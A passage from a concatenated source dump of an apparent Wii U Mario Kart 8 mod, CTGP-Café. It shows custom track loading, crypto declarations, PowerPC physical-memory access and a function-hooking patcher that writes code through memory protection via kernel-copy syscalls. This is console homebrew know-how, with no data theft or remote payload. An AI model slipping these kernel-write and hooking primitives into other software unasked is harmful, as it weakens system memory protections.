header->numCupEntries)); 29 | 30 | for (size_t i = 0; i < header->numCupEntries; i++) { 31 | int pageId = cupEntries[i].pageId; 32 | int cupId = cupEntries[i].cupId; 33 | char* cupName = &stringTable[cupEntries[i].cupNameStr]; 34 | char* cupIcon = &stringTable[cupEntries[i].cupIconStr]; 35 | AddMessage(fromUTF8(cupName), 14337 + cupId, true); 36 | this->pages[pageId]->cupName[cupId] = 14337 + cupId; 37 | this->pages[pageId]->pageCustomCups[cupId] = true; 38 | 39 | uint32_t outSize = 0; 40 | uint8_t* cupData = (uint8_t*)GetArchiveFile(cupIcon, &outSize, 0x1000); 41 | this->pages[pageId]->cupBflimFile[cupId] = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 42 | if (!nw::lyt::LoadTexture(this->pages[pageId]->cupBflimFile[cupId], cupData, outSize)) { 43 | FatalError("444-0001", "One of the file is heavily corrupted, please " 44 | "check your SDCard or reinstall CTGP-Café"); 45 | return; 46 | } 47 | } 48 | 49 | for (size_t i = 0; i < header->numTrackEntries; i++) { 50 | 51 | int pageId = trackEntries[i].pageId; 52 | int cupId = trackEntries[i].cupId; 53 | char* trackName = &stringTable[trackEntries[i].trackNameStr]; 54 | char* trackNameRetro = &stringTable[trackEntries[i].trackRetroStr]; 55 | char* trackPath = &stringTable[trackEntries[i].trackPathStr]; 56 | char* trackPic = &stringTable[trackEntries[i].trackPicStr]; 57 | 58 | this->pages[pageId]->retroTrackNames[cupId][trackEntries[i].trackId] = -1; 59 | this->pages[pageId]->trackPaths[cupId][trackEntries[i].trackId] = trackPath; 60 | 61 | AddMessage(fromUTF8(trackName), 15337 + i, true); 62 | this->pages[pageId]->trackNames[cupId][trackEntries[i].trackId] = 15337 + i; 63 | 64 | if (strlen(trackNameRetro) > 0) { 65 | AddMessage(fromUTF8(trackNameRetro), 15937 + i, true); 66 | this->pages[pageId]->retroTrackNames[cupId][trackEntries[i].trackId] = 15937 + i; 67 | } 68 | 69 | uint32_t outSize = 0; 70 | uint8_t* trackData = (uint8_t*)GetArchiveFile(trackPic, &outSize, 0x1000); 71 | this->pages[pageId]->trackBflimFiles[cupId][trackEntries[i].trackId] = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 72 | if (!nw::lyt::LoadTexture(this->pages[pageId]->trackBflimFiles[cupId][trackEntries[i].trackId], trackData, outSize)) { 73 | FatalError("444-0002", "One of the file is heavily corrupted, please " 74 | "check your SDCard or reinstall CTGP-Café"); 75 | return; 76 | } 77 | } 78 | 79 | CUP0Instance = this; 80 | } -------------------------------------------------------------------------------- /source/private/crypto_engine.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _WIIU_CRYPTO_H 2 | #define _WIIU_CRYPTO_H 3 | 4 | #include "utils.hpp" 5 | #include 6 | 7 | namespace ctgp::crypto { 8 | class CryptoEngine : public ctgp::common::RootClass { 9 | public: 10 | CryptoEngine() { 11 | this->setName("ctgp::crypto::CryptoEngine"); 12 | return; 13 | } 14 | 15 | /** 16 | * @brief Initialize the crypto lib 17 | * 18 | */ 19 | virtual void Initialize(); 20 | 21 | /** 22 | * @brief Encrypt data with AES-128-CBC 23 | * @note 24 | * @param key: Pointer to the 16-byte key 25 | * @param iv: Pointer to the 16-byte IV 26 | * @param source: Pointer to the encrypted data (should be aligned 16 bytes) 27 | * @param dest: Pointer to the decrypted data (can be the same as source) 28 | * @param length: Size of the data 29 | * @retval None 30 | */ 31 | void AES_Encrypt16(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length); 32 | 33 | /** 34 | * @brief Decrypt data with AES-128-CBC 35 | * @note 36 | * @param key: Pointer to the 16-byte key 37 | * @param iv: Pointer to the 16-byte IV 38 | * @param source: Pointer to the encrypted data (should be aligned 16 bytes) 39 | * @param dest: Pointer to the decrypted data (can be the same as source) 40 | * @param length: Size of the data 41 | * @retval None 42 | */ 43 | void AES_Decrypt16(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length); 44 | 45 | /** 46 | * @brief Encrypt data with AES-256-CBC 47 | * @note 48 | * @param key: Pointer to the 32-byte key 49 | * @param iv: Pointer to the 32-byte IV 50 | * @param source: Pointer to the encrypted data (should be aligned 32 bytes) 51 | * @param dest: Pointer to the decrypted data (can be the same as source) 52 | * @param length: Size of the data 53 | * @retval None 54 | */ 55 | void AES_Encrypt32(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length); 56 | 57 | /** 58 | * @brief Decrypt data with AES-256-CBC 59 | * @note 60 | * @param key: Pointer to the 32-byte key 61 | * @param iv: Pointer to the 32-byte IV 62 | * @param source: Pointer to the encrypted data (should be aligned 32 bytes) 63 | * @param dest: Pointer to the decrypted data (can be the same as source) 64 | * @param length: Size of the data 65 | * @retval None 66 | */ 67 | void AES_Decrypt32(uint8_t* key, uint8_t* iv, uint8_t* source, uint8_t* dest, size_t length); 68 | 69 | /** 70 | * @brief Encrypt or decrypt (stream cipher) data with RC4 71 | * @note 72 | * @param key: RC4 key 73 | * @param keylen: RC4 key size 74 | * @param source: Pointer to the source buffer 75 | * @param dest: Pointer to the destination buffer (can be the same as source) 76 | * @param data_len: Size of the data 77 | * @param offset: Starting offset (defaults to 0) 78 | * @retval None 79 | */ 80 | void RC4_EncryptDecrypt(uint8_t* key, size_t keylen, uint8_t* source, uint8_t* dest, size_t data_len, size_t offset = 0); 81 | 82 | /** 83 | * @brief Create a Instance of the CryptoEngine and initializes it 84 | * 85 | * @return ctgp::crypto::CryptoEngine* 86 | */ 87 | static inline ctgp::crypto::CryptoEngine* createInstance() { 88 | ctgp::crypto::CryptoEngine* inst = new ctgp::crypto::CryptoEngine(); 89 | inst->Initialize(); 90 | return inst; 91 | } 92 | }; 93 | 94 | /// CryptoEngine instance 95 | extern CryptoEngine* CryptoEngineInstance; 96 | } // namespace ctgp::crypto 97 | 98 | typedef struct __attribute__((packed)) internal_rc4_state { 99 | uint8_t perm[256]; 100 | uint8_t index1; 101 | uint8_t index2; 102 | } internal_rc4_state; 103 | 104 | void internal_rc4_init(internal_rc4_state* state, uint8_t* key, int keylen); 105 | void internal_rc4_crypt(internal_rc4_state* state, uint8_t* inbuf, uint8_t* outbuf, int buflen, uint32_t start_off); 106 | 107 | #endif -------------------------------------------------------------------------------- /source/utils.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _UTLS_H 2 | #define _UTLS_H 3 | 4 | #define MK8_J 0x000500001010EB00 5 | #define MK8_U 0x000500001010EC00 6 | #define MK8_E 0x000500001010ED00 7 | 8 | #define MII_J 0x000500101004A000 9 | #define MII_U 0x000500101004A100 10 | #define MII_E 0x000500101004A200 11 | #define HBL_A 0x0005000013374842 12 | 13 | #define PROJECT_NAME "Mario Kart 8 CTGP" 14 | #define PROJECT_VER_MAJOR 1 15 | #define PROJECT_VER_VERSION 1 16 | #define PROJECT_VER_MINOR 0 17 | #define PROJECT_VER_DISC "beta" 18 | #define PROJECT_AUTHOR "Rambo6Glaz" 19 | 20 | #define PROJECT_PRIV_ALPHA 0 21 | #define PROJECT_PRIV_BETA 1 22 | #define PROJECT_BIN_VER ((PROJECT_PRIV_ALPHA << 28) | (PROJECT_PRIV_BETA << 24) | (PROJECT_VER_MAJOR << 16) | (PROJECT_VER_VERSION << 8) | PROJECT_VER_MINOR) 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | void FatalError(const char* titleText, const char* errorText); 33 | 34 | extern "C" uint32_t GetGPR13(); 35 | extern "C" void kern_write(void* addr, uint32_t value); 36 | extern "C" void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); 37 | extern "C" void SC0x25_KernelCopyData(uint32_t addr, uint32_t src, size_t len); 38 | 39 | #define C_UNLESS(expr, code) \ 40 | ({ \ 41 | if (!(expr)) { \ 42 | code; \ 43 | } \ 44 | }) 45 | 46 | #define R_UNLESS(expr, res) \ 47 | ({ \ 48 | if (!(expr)) { \ 49 | return res; \ 50 | } \ 51 | }) 52 | 53 | #define FIND_ENTRY(arr, max_c, value) \ 54 | auto ret_idx = max_c; \ 55 | for (auto i = 0; i < max_c; i++) { \ 56 | if (arr[i] == value) { \ 57 | ret_idx = i; \ 58 | break; \ 59 | } \ 60 | } 61 | 62 | #define FIND_ENTRY_MEMBER(arr, max_c, member, value) \ 63 | auto ret_idx = max_c; \ 64 | for (auto i = 0; i < max_c; i++) { \ 65 | if (arr[i].##member == value) { \ 66 | ret_idx = i; \ 67 | break; \ 68 | } \ 69 | } 70 | 71 | #define FIND_ENTRY_MEMBER_(arr, max_c, member, value) \ 72 | auto ret_idx = max_c; \ 73 | for (auto i = 0; i < max_c; i++) { \ 74 | if (arr[i]->##member == value) { \ 75 | ret_idx = i; \ 76 | break; \ 77 | } \ 78 | } 79 | 80 | #define FIND_ENTRY_MEMBER_EX(arr, max_c, member, value, code) \ 81 | for (auto i = 0; i < max_c; i++) { \ 82 | if (arr[i].member == value) { \ 83 | code; \ 84 | break; \ 85 | } \ 86 | } 87 | 88 | #define FIND_ENTRY_MEMBER_EX_(arr, max_c, member, value, code) \ 89 | for (auto i = 0; i < max_c; i++) { \ 90 | if (arr[i]->##member == value) { \ 91 | code; \ 92 | break; \ 93 | } \ 94 | } 95 | 96 | #define RETURN_TO_HBL (0) 97 | #define RETURN_TO_NEXT_APP (-3) 98 | 99 | namespace ctgp::common { 100 | 101 | class RootClass { 102 | private: 103 | const char* m_Name = ""; 104 | bool m_IsInitialized = false; 105 | 106 | public: 107 | const char* getName() { 108 | return m_Name; 109 | } 110 | 111 | void setName(const char* name) { 112 | m_Name = name; 113 | } 114 | 115 | virtual void Initialize() { 116 | return; 117 | } 118 | }; 119 | 120 | } // namespace ctgp::common 121 | 122 | #endif -------------------------------------------------------------------------------- /source/arch/wiiu/powerpc_750cl/ppc.cpp: -------------------------------------------------------------------------------- 1 | #include "ppc.hpp" 2 | 3 | void __ReadKernelPhysical(uint32_t pa_dest, uint32_t src, size_t size) { 4 | uint32_t backupMSR; 5 | asm volatile("mfmsr %0" : "=r"(backupMSR)); 6 | uint32_t pMSR = backupMSR & ~MSR_DR_BIT; 7 | for (uint32_t i = 0; i < size; i += 4) { 8 | asm volatile("mtmsr %0" : : "r"(pMSR)); 9 | uint32_t val = *(uint32_t*)(src + i); 10 | asm volatile("mtmsr %0" : : "r"(backupMSR)); 11 | *(uint32_t*)(pa_dest + i) = val; 12 | } 13 | } 14 | 15 | void __WriteKernelPhysical(uint32_t pa_dest, uint32_t src, uint32_t size) { 16 | uint32_t backupMSR; 17 | asm volatile("mfmsr %0" : "=r"(backupMSR)); 18 | uint32_t pMSR = backupMSR & ~MSR_DR_BIT; 19 | for (uint32_t i = 0; i < size; i += 4) { 20 | asm volatile("mtmsr %0" : : "r"(backupMSR)); 21 | uint32_t val = *(uint32_t*)(src + i); 22 | asm volatile("mtmsr %0" : : "r"(pMSR)); 23 | *(uint32_t*)(pa_dest + i) = val; 24 | } 25 | asm volatile("mtmsr %0" : : "r"(backupMSR)); 26 | } 27 | 28 | void __GetMemoryRegisters(PowerPC_MemoryRegisters* data) { 29 | __asm__ __volatile__("eieio; isync; sync;"); 30 | 31 | // SPR 25 -> SDR1 32 | __asm__ __volatile__("mfspr %0, 25;" : "=r"(data->sdr1)); 33 | 34 | // Copy all segment registers into the table 35 | __asm__ __volatile__("mfsr %0, 0 ;" : "=r"(data->sr[0x00])); 36 | __asm__ __volatile__("mfsr %0, 1 ;" : "=r"(data->sr[0x01])); 37 | __asm__ __volatile__("mfsr %0, 2 ;" : "=r"(data->sr[0x02])); 38 | __asm__ __volatile__("mfsr %0, 3 ;" : "=r"(data->sr[0x03])); 39 | __asm__ __volatile__("mfsr %0, 4 ;" : "=r"(data->sr[0x04])); 40 | __asm__ __volatile__("mfsr %0, 5 ;" : "=r"(data->sr[0x05])); 41 | __asm__ __volatile__("mfsr %0, 6 ;" : "=r"(data->sr[0x06])); 42 | __asm__ __volatile__("mfsr %0, 7 ;" : "=r"(data->sr[0x07])); 43 | __asm__ __volatile__("mfsr %0, 8 ;" : "=r"(data->sr[0x08])); 44 | __asm__ __volatile__("mfsr %0, 9 ;" : "=r"(data->sr[0x09])); 45 | __asm__ __volatile__("mfsr %0, 10;" : "=r"(data->sr[0x0A])); 46 | __asm__ __volatile__("mfsr %0, 11;" : "=r"(data->sr[0x0B])); 47 | __asm__ __volatile__("mfsr %0, 12;" : "=r"(data->sr[0x0C])); 48 | __asm__ __volatile__("mfsr %0, 13;" : "=r"(data->sr[0x0D])); 49 | __asm__ __volatile__("mfsr %0, 14;" : "=r"(data->sr[0x0E])); 50 | __asm__ __volatile__("mfsr %0, 15;" : "=r"(data->sr[0x0F])); 51 | 52 | // DBAT0U -> DBAT7U 53 | __asm__ __volatile__("mfspr %0, 536;" : "=r"(data->dbatu[0])); 54 | __asm__ __volatile__("mfspr %0, 538;" : "=r"(data->dbatu[1])); 55 | __asm__ __volatile__("mfspr %0, 540;" : "=r"(data->dbatu[2])); 56 | __asm__ __volatile__("mfspr %0, 542;" : "=r"(data->dbatu[3])); 57 | __asm__ __volatile__("mfspr %0, 568;" : "=r"(data->dbatu[4])); 58 | __asm__ __volatile__("mfspr %0, 570;" : "=r"(data->dbatu[5])); 59 | __asm__ __volatile__("mfspr %0, 572;" : "=r"(data->dbatu[6])); 60 | __asm__ __volatile__("mfspr %0, 574;" : "=r"(data->dbatu[7])); 61 | 62 | // DBAT0L -> DBAT7L 63 | __asm__ __volatile__("mfspr %0, 537;" : "=r"(data->dbatl[0])); 64 | __asm__ __volatile__("mfspr %0, 539;" : "=r"(data->dbatl[1])); 65 | __asm__ __volatile__("mfspr %0, 541;" : "=r"(data->dbatl[2])); 66 | __asm__ __volatile__("mfspr %0, 543;" : "=r"(data->dbatl[3])); 67 | __asm__ __volatile__("mfspr %0, 569;" : "=r"(data->dbatl[4])); 68 | __asm__ __volatile__("mfspr %0, 571;" : "=r"(data->dbatl[5])); 69 | __asm__ __volatile__("mfspr %0, 573;" : "=r"(data->dbatl[6])); 70 | __asm__ __volatile__("mfspr %0, 575;" : "=r"(data->dbatl[7])); 71 | 72 | // IBAT0U -> IBAT7U 73 | __asm__ __volatile__("mfspr %0, 528;" : "=r"(data->ibatu[0])); 74 | __asm__ __volatile__("mfspr %0, 530;" : "=r"(data->ibatu[1])); 75 | __asm__ __volatile__("mfspr %0, 532;" : "=r"(data->ibatu[2])); 76 | __asm__ __volatile__("mfspr %0, 534;" : "=r"(data->ibatu[3])); 77 | __asm__ __volatile__("mfspr %0, 560;" : "=r"(data->ibatu[4])); 78 | __asm__ __volatile__("mfspr %0, 562;" : "=r"(data->ibatu[5])); 79 | __asm__ __volatile__("mfspr %0, 564;" : "=r"(data->ibatu[6])); 80 | __asm__ __volatile__("mfspr %0, 566;" : "=r"(data->ibatu[7])); 81 | 82 | // IBAT0L -> IBAT7L 83 | __asm__ __volatile__("mfspr %0, 529;" : "=r"(data->ibatl[0])); 84 | __asm__ __volatile__("mfspr %0, 531;" : "=r"(data->ibatl[1])); 85 | __asm__ __volatile__("mfspr %0, 533;" : "=r"(data->ibatl[2])); 86 | __asm__ __volatile__("mfspr %0, 535;" : "=r"(data->ibatl[3])); 87 | __asm__ __volatile__("mfspr %0, 561;" : "=r"(data->ibatl[4])); 88 | __asm__ __volatile__("mfspr %0, 563;" : "=r"(data->ibatl[5])); 89 | __asm__ __volatile__("mfspr %0, 565;" : "=r"(data->ibatl[6])); 90 | __asm__ __volatile__("mfspr %0, 567;" : "=r"(data->ibatl[7])); 91 | 92 | __asm__ __volatile__("eieio; isync; sync;"); 93 | } -------------------------------------------------------------------------------- /source/wiiu/patcher.h: -------------------------------------------------------------------------------- 1 | #ifndef _GAME_UTILS_PT_H 2 | #define _GAME_UTILS_PT_H 3 | 4 | #include "arch/wiiu/powerpc_750cl/ppc.hpp" 5 | #include "symbols.h" 6 | #include 7 | 8 | typedef struct PatchedFunction { 9 | 10 | uint32_t sourceAddr; 11 | uint32_t sourceInstructions[10]; 12 | uint32_t destAddr; 13 | void* realFunctionPtr; 14 | 15 | } PatchedFunction; 16 | 17 | /** 18 | * @brief This function writes to the virtual addr (even through mem 19 | * protection) 20 | * @note 21 | * @param addr: A virtual address 22 | * @param value: A value to write 23 | * @retval None 24 | */ 25 | void Write32(uint32_t* addr, uint32_t value); 26 | 27 | /** 28 | * @brief A basic memcpy but it goes through mem portection 29 | * @note 30 | * @param dest: Virtual destination address 31 | * @param src: Virtual source address 32 | * @param size: Size to copy from source to dest 33 | * @retval None 34 | */ 35 | void MemoryCopy(void* dest, void* src, int size); 36 | 37 | /** 38 | * @brief Create a BL (Branch with Link) PowerPC 32-bit instruction 39 | * @note Limited to a 0x03FFFFFC distance between destination and source 40 | * @param dst: Destination of the branch 41 | * @param src: From where we are branching (instruction addr) 42 | * @retval The BL instruction 43 | */ 44 | unsigned int doBL(unsigned int dst, unsigned int src); 45 | 46 | /** 47 | * @brief Create a BLA (Branch Absolute with Link) PowerPC 32-bit instruction 48 | * @note Limited to the 0-0x03FFFFFC range 49 | * @param addr: The address to jump to 50 | * @retval The BLA instruction 51 | */ 52 | uint32_t doBLA(uint32_t addr); 53 | 54 | /** 55 | * @brief Remove a patch from our global patch array 56 | * @note 57 | * @param ptr: PatchedFunction pointer returned by one of the hooking function 58 | * @retval None 59 | */ 60 | void removePatch(PatchedFunction* ptr); 61 | 62 | /** 63 | * @brief Hooks a function by writing a branch into the code 64 | * @note 65 | * @param source: Virtual source address 66 | * @param destination: Virtual destination address 67 | * @param delta: The value to be added at source (e.g, for MK8 it's 0x0C180000) 68 | * @retval PatchedFunction pointer 69 | */ 70 | PatchedFunction* hookBranch(uint32_t source, void* destination, uint32_t delta); 71 | 72 | /** 73 | * @brief Hooks a function by writing a branch with link into the code 74 | * @note 75 | * @param source: Virtual source address 76 | * @param destination: Virtual destination address 77 | * @param delta: The value to be added at source (e.g, for MK8 it's 0x0C180000) 78 | * @retval PatchedFunction pointer 79 | */ 80 | PatchedFunction* hookBranchNoLink(uint32_t source, void* destination, uint32_t delta); 81 | 82 | /** 83 | * @brief Hooks a function by writing a branch, while the real function can 84 | * still be called 85 | * @note 86 | * @param source: Virtual source address 87 | * @param destination: Virtual destination address 88 | * @param delta: The value to be added at source (e.g, for MK8 it's 0x0C180000) 89 | * @param fptr: Out pointer for the (real) unpatched function 90 | * @retval PatchedFunction pointer 91 | */ 92 | PatchedFunction* hookFunction(void* source, void* destination, uint32_t delta, void** fptr); 93 | 94 | /** 95 | * @brief Initalize data structures to store to function hooks, etc.. 96 | * @note 97 | * @retval None 98 | */ 99 | void InitializePatcher(); 100 | 101 | #define HOOK_BRANCH_LINK(source, dest) hookBranch((uint32_t)source, (void*)hook_##dest, 0); 102 | #define HOOK_BRANCH(source, dest) hookBranchNoLink((uint32_t)source, (void*)hook_##dest, 0); 103 | #define HOOK_FUNC(source, dest) hookFunction((void*)source, (void*)hook_##dest, 0, (void**)&real_##dest); 104 | 105 | #define MK8_HOOK_BRANCH_LINK(source, dest) hookBranch((uint32_t)source, (void*)hook_##dest, 0x0C180000); 106 | #define MK8_HOOK_BRANCH(source, dest) hookBranchNoLink((uint32_t)source, (void*)hook_##dest, 0x0C180000); 107 | #define MK8_HOOK_FUNC(source, dest) hookFunction((void*)source, (void*)hook_##dest, 0x0C180000, (void**)&real_##dest); 108 | 109 | #define DECL_HOOK(res, name, ...) \ 110 | res (*real_##name)(__VA_ARGS__); \ 111 | res hook_##name(__VA_ARGS__) 112 | 113 | #define DECL_HOOK_BRANCH(res, name, ...) res hook_##name(__VA_ARGS__) 114 | 115 | #define DECL_CXX_HOOK(res, name, ...) \ 116 | namespace hook { \ 117 | namespace hook_##name { \ 118 | res (*real)(__VA_ARGS__); \ 119 | res hook(__VA_ARGS__); \ 120 | } \ 121 | } \ 122 | res hook::hook_##name::hook(__VA_ARGS__) 123 | 124 | #define MK8_HOOK_CXX_FUNC(source, dest) hookFunction((void*)source, (void*)hook::hook_##dest::hook, 0x0C180000, (void**)&hook::hook_##dest::real); 125 | 126 | #endif -------------------------------------------------------------------------------- /source/wiiu/patcher.cpp: -------------------------------------------------------------------------------- 1 | #include "patcher.h" 2 | 3 | uint32_t hookJumps[64][10]; 4 | PatchedFunction** pFuncList = NULL; 5 | uint8_t* memcpy_buffer[0x400]; 6 | 7 | void InitializePatcher() { 8 | memset(hookJumps, 0, sizeof(hookJumps)); 9 | memset(memcpy_buffer, 0, sizeof(memcpy_buffer)); 10 | pFuncList = NULL; 11 | } 12 | 13 | void pygecko_memcpy(unsigned char* dst, unsigned char* src, unsigned int len) { 14 | if (len > 0x400) 15 | return; 16 | memcpy(memcpy_buffer, src, len); 17 | SC0x25_KernelCopyData((unsigned int)OSEffectiveToPhysical(dst), (unsigned int)&memcpy_buffer, len); 18 | DCFlushRange(dst, len); 19 | return; 20 | } 21 | 22 | void Write32(uint32_t* addr, uint32_t value) { 23 | pygecko_memcpy((unsigned char*)addr, (unsigned char*)&value, 4); 24 | } 25 | 26 | void MemoryCopy(void* dest, void* src, int size) { 27 | pygecko_memcpy((unsigned char*)dest, (unsigned char*)src, size); 28 | } 29 | 30 | uint32_t doBL(uint32_t dst, uint32_t src) { 31 | uint32_t newval = (dst - src); 32 | newval &= 0x03FFFFFC; 33 | newval |= 0x48000001; 34 | return newval; 35 | } 36 | 37 | uint32_t doBLA(uint32_t addr) { 38 | return (0x48000003 | (addr & 0x03FFFFFC)); 39 | } 40 | 41 | PatchedFunction* hookBranch(uint32_t source, void* destination, uint32_t delta) { 42 | 43 | if (!pFuncList) { 44 | pFuncList = (PatchedFunction**)calloc(64, sizeof(PatchedFunction*)); 45 | } 46 | 47 | FIND_ENTRY(pFuncList, 64, NULL); 48 | R_UNLESS(ret_idx != 64, NULL); 49 | pFuncList[ret_idx] = (PatchedFunction*)calloc(1, sizeof(PatchedFunction)); 50 | 51 | pFuncList[ret_idx]->sourceAddr = (source + delta); 52 | pFuncList[ret_idx]->destAddr = (uint32_t)destination; 53 | pFuncList[ret_idx]->realFunctionPtr = NULL; 54 | memcpy(&pFuncList[ret_idx]->sourceInstructions, (void*)(source + delta), 10 * sizeof(uint32_t)); 55 | 56 | if ((uint32_t)destination <= 0x03FFFFFC) { 57 | Write32((uint32_t*)(source + delta), doBLA((uint32_t)destination)); 58 | } else { 59 | Write32((uint32_t*)(source + delta), doBL((uint32_t)destination, (source + delta))); 60 | } 61 | 62 | return pFuncList[ret_idx]; 63 | } 64 | 65 | PatchedFunction* hookBranchNoLink(uint32_t source, void* destination, uint32_t delta) { 66 | 67 | if (!pFuncList) { 68 | pFuncList = (PatchedFunction**)calloc(64, sizeof(PatchedFunction*)); 69 | } 70 | 71 | FIND_ENTRY(pFuncList, 64, NULL); 72 | R_UNLESS(ret_idx != 64, NULL); 73 | pFuncList[ret_idx] = (PatchedFunction*)calloc(1, sizeof(PatchedFunction)); 74 | 75 | pFuncList[ret_idx]->sourceAddr = (source + delta); 76 | pFuncList[ret_idx]->destAddr = (uint32_t)destination; 77 | pFuncList[ret_idx]->realFunctionPtr = NULL; 78 | memcpy(&pFuncList[ret_idx]->sourceInstructions, (void*)(source + delta), 10 * sizeof(uint32_t)); 79 | 80 | if ((uint32_t)destination <= 0x03FFFFFC) { 81 | Write32((uint32_t*)(source + delta), doBLA((uint32_t)destination) ^ 1); 82 | } else { 83 | Write32((uint32_t*)(source + delta), doBL((uint32_t)destination, (source + delta)) ^ 1); 84 | } 85 | 86 | return pFuncList[ret_idx]; 87 | } 88 | 89 | PatchedFunction* hookFunction(void* source, void* destination, uint32_t delta, void** fptr) { 90 | 91 | if (!pFuncList) { 92 | pFuncList = (PatchedFunction**)calloc(64, sizeof(PatchedFunction*)); 93 | } 94 | 95 | FIND_ENTRY(pFuncList, 64, NULL); 96 | R_UNLESS(ret_idx != 64, NULL); 97 | pFuncList[ret_idx] = (PatchedFunction*)calloc(1, sizeof(PatchedFunction)); 98 | 99 | pFuncList[ret_idx]->sourceAddr = ((uint32_t)source + delta); 100 | pFuncList[ret_idx]->destAddr = (uint32_t)destination; 101 | memcpy(&pFuncList[ret_idx]->sourceInstructions, (void*)((uint32_t)source + delta), 10 * sizeof(uint32_t)); 102 | 103 | delta += 4; 104 | hookJumps[ret_idx][0] = PowerPC_STW(gpr3, gpr1, -32); // stw r3, -32(r1) 105 | hookJumps[ret_idx][1] = PowerPC_LIS(gpr3, ((int)source + delta) >> 16); // lis r3, source@h 106 | hookJumps[ret_idx][2] = PowerPC_ORI(gpr3, gpr3, ((int)source + delta)); // ori r3, r3, source@l 107 | hookJumps[ret_idx][3] = PowerPC_MTSPR(gpr3, SPR_CTR); // mtctr r3 108 | hookJumps[ret_idx][4] = PowerPC_LWZ(gpr3, gpr1, -32); // lwz r3, -32(r1) 109 | hookJumps[ret_idx][5] = PowerPC_MFSPR(gpr13, SPR_LR); // mflr r13 (so you can read LR from the hook function) 110 | hookJumps[ret_idx][6] = pFuncList[ret_idx]->sourceInstructions[0]; // base func first instruction (because the 111 | // real one will be replaced with a BLA) 112 | hookJumps[ret_idx][7] = 0x4E800420; // bctr 113 | 114 | DCFlushRange(&hookJumps[ret_idx][0], 10 * 4); 115 | ICInvalidateRange(&hookJumps[ret_idx][0], 10 * 4); 116 | 117 | delta -= 4; 118 | Write32((uint32_t*)((int)source + delta), doBLA((uint32_t)destination) ^ 1); 119 | 120 | pFuncList[ret_idx]->realFunctionPtr = (void*)&hookJumps[ret_idx][0]; 121 | *fptr = (void*)&hookJumps[ret_idx][0]; 122 | 123 | return pFuncList[ret_idx]; 124 | } 125 | 126 | void removePatch(PatchedFunction* ptr) { 127 | FIND_ENTRY(pFuncList, 64, ptr); 128 | R_UNLESS(ret_idx != 64, ); 129 | MemoryCopy((uint32_t*)pFuncList[ret_idx]->sourceAddr, &pFuncList[ret_idx]->sourceInstructions, 10 * sizeof(uint32_t)); 130 | pFuncList[ret_idx] = NULL; 131 | } -------------------------------------------------------------------------------- /source/patch/global_patch.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _PATCH_GLB_H 2 | #define _PATCH_GLB_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "utils.hpp" 12 | #include "wiiu/debug.hpp" 13 | #include "wiiu/patcher.h" 14 | 15 | #define GLOBAL_PAGE_ID ((int)-1337) 16 | 17 | typedef struct PageManagerAttachRedirect { 18 | int m_pageId = -1; 19 | void (*m_RedirectFunc)(ui::UIPage*) = NULL; 20 | 21 | PageManagerAttachRedirect(int pageId, void (*f)(ui::UIPage*)) { 22 | m_pageId = pageId; 23 | m_RedirectFunc = f; 24 | } 25 | 26 | } PageManagerAttachRedirect; 27 | 28 | typedef struct ControlButtonHandlerRedirect { 29 | int m_pageId = -1; 30 | bool (*m_RedirectFunc)(ui::Control_Button*, ui::UIEvent*) = NULL; 31 | 32 | ControlButtonHandlerRedirect(int pageId, bool (*f)(ui::Control_Button*, ui::UIEvent*)) { 33 | m_pageId = pageId; 34 | m_RedirectFunc = f; 35 | } 36 | 37 | } ControlButtonHandlerRedirect; 38 | 39 | typedef struct InputHandlerRedirect { 40 | 41 | bool (*m_RedirectFunc)(ui::UIInput*, int, int, uint32_t) = NULL; 42 | InputHandlerRedirect(bool (*f)(ui::UIInput*, int, int, uint32_t)) { 43 | m_RedirectFunc = f; 44 | } 45 | 46 | } InputHandlerRedirect; 47 | 48 | namespace ctgp { 49 | 50 | class GlobalPatch : ctgp::common::RootClass { 51 | private: 52 | bool m_OnlineToggle = false; 53 | 54 | public: 55 | std::vector m_PageAttachRedirections; 56 | std::vector m_ButtonHandlerRedirections; 57 | std::vector m_InputHandlerRedirections; 58 | 59 | int m_LastRegion = -1; 60 | bool m_IsRgsConnected = false; 61 | 62 | public: 63 | GlobalPatch(); 64 | 65 | /** 66 | * @brief Initializer 67 | * 68 | */ 69 | virtual void Initialize(); 70 | 71 | /** 72 | * @brief Register one attach redirection structure, it will be used in the 73 | * following attach calls if the conditions matches 74 | * 75 | * @param attachRedirection Reference to a "PageManagerAttachRedirect" 76 | * structure 77 | */ 78 | void RegisterAttachRedirection(PageManagerAttachRedirect& attachRedirection) { 79 | m_PageAttachRedirections.push_back(attachRedirection); 80 | } 81 | 82 | /** 83 | * @brief Register one attach redirection structure, it will be used in the 84 | * following attach calls if the conditions matches 85 | * 86 | * @param pageId Page ID 87 | * @param f Function pointer 88 | */ 89 | void RegisterAttachRedirection(int pageId, void (*f)(ui::UIPage*)) { 90 | m_PageAttachRedirections.push_back(PageManagerAttachRedirect(pageId, f)); 91 | } 92 | 93 | /** 94 | * @brief Register one button handler redirection structure, it will be used 95 | * in the following handler calls if the conditions matches 96 | * 97 | * @param buttonRedirection Reference to a "PageManagerAttachRedirect" 98 | * structure 99 | */ 100 | void RegisterButtonHandlerRedirection(ControlButtonHandlerRedirect& buttonRedirection) { 101 | m_ButtonHandlerRedirections.push_back(buttonRedirection); 102 | } 103 | 104 | /** 105 | * @brief Register one button handler redirection structure, it will be used 106 | * in the following handler calls if the conditions matches 107 | * 108 | * @param pageId Page ID 109 | * @param f Function pointer 110 | */ 111 | void RegisterButtonHandlerRedirection(int pageId, bool (*f)(ui::Control_Button*, ui::UIEvent*)) { 112 | m_ButtonHandlerRedirections.push_back(ControlButtonHandlerRedirect(pageId, f)); 113 | } 114 | 115 | /** 116 | * @brief Register one input handler redirection structure, it will be used in 117 | * the following handler calls if the conditions matches 118 | * 119 | * @param buttonRedirection Reference to a "InputHandlerRedirect" structure 120 | */ 121 | void RegisterInputHandlerRedirection(InputHandlerRedirect& inputRedirection) { 122 | 